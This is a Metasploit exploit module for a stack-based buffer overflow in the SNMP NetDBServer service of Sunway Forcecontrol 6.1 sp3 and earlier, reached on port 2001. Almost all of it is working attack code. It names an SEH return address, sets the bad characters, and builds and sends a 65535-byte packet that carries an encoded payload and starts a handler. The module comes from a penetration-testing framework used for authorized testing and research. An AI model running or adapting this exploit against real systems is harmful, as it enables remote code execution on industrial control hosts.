##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Sunway Forcecontrol SNMP NetDBServer.exe Opcode 0x57',
        'Description' => %q{
          This module exploits a stack based buffer overflow found in the SNMP
          NetDBServer service of Sunway Forcecontrol <= 6.1 sp3. The overflow is
          triggered when sending an overly long string to the listening service
          on port 2001.
        },
        'Author' => [
          'Luigi Auriemma', # original discovery
          'Rinat Ziyayev',
          'James Fitts <fitts.james[at]gmail.com>'
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2011-10032' ],
          [ 'OSVDB', '75798'],
          [ 'BID', '49747' ],
          [ 'URL', 'http://aluigi.altervista.org/adv/forcecontrol_1-adv.txt' ],
          [ 'ATT&CK', Mitre::Attack::Technique::T1059_COMMAND_AND_SCRIPTING_INTERPRETER ],
          [ 'ATT&CK', Mitre::Attack::Technique::T1068_EXPLOITATION_FOR_PRIVILEGE_ESCALATION ]
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'thread',
        },
        'Privileged' => true,
        'Payload' => {
          'DisableNops' => true,
          'BadChars' => "\x0a\x0d\xae",
        },
        'Platform' => 'win',
        'Targets' => [
          [
            # p/p/r ComDll.dll
            'Windows', { 'Ret' => 0x100022c4 }
          ],
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2011-09-22',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        Opt::RPORT(2001)
      ]
    )
  end

  def exploit
    connect

    header = "\xeb\x50\xeb\x50"
    header << "\x57\x00" # packet type
    header << "\xff\xff\x00\x00"
    header << "\x01\x00"
    header << "\xff"

    footer = "\r\n"

    packet = rand_text_alpha_upper(65535)
    packet[0, header.length] = header
    packet[293, 8] = generate_seh_record(target.ret)
    packet[301, 20] = make_nops(20)
    packet[321, payload.encoded.length] = payload.encoded
    packet[65533, 2] = footer

    print_status("Trying target %s..." % target.name)

    sock.put(packet)

    handler
    disconnect
  end
end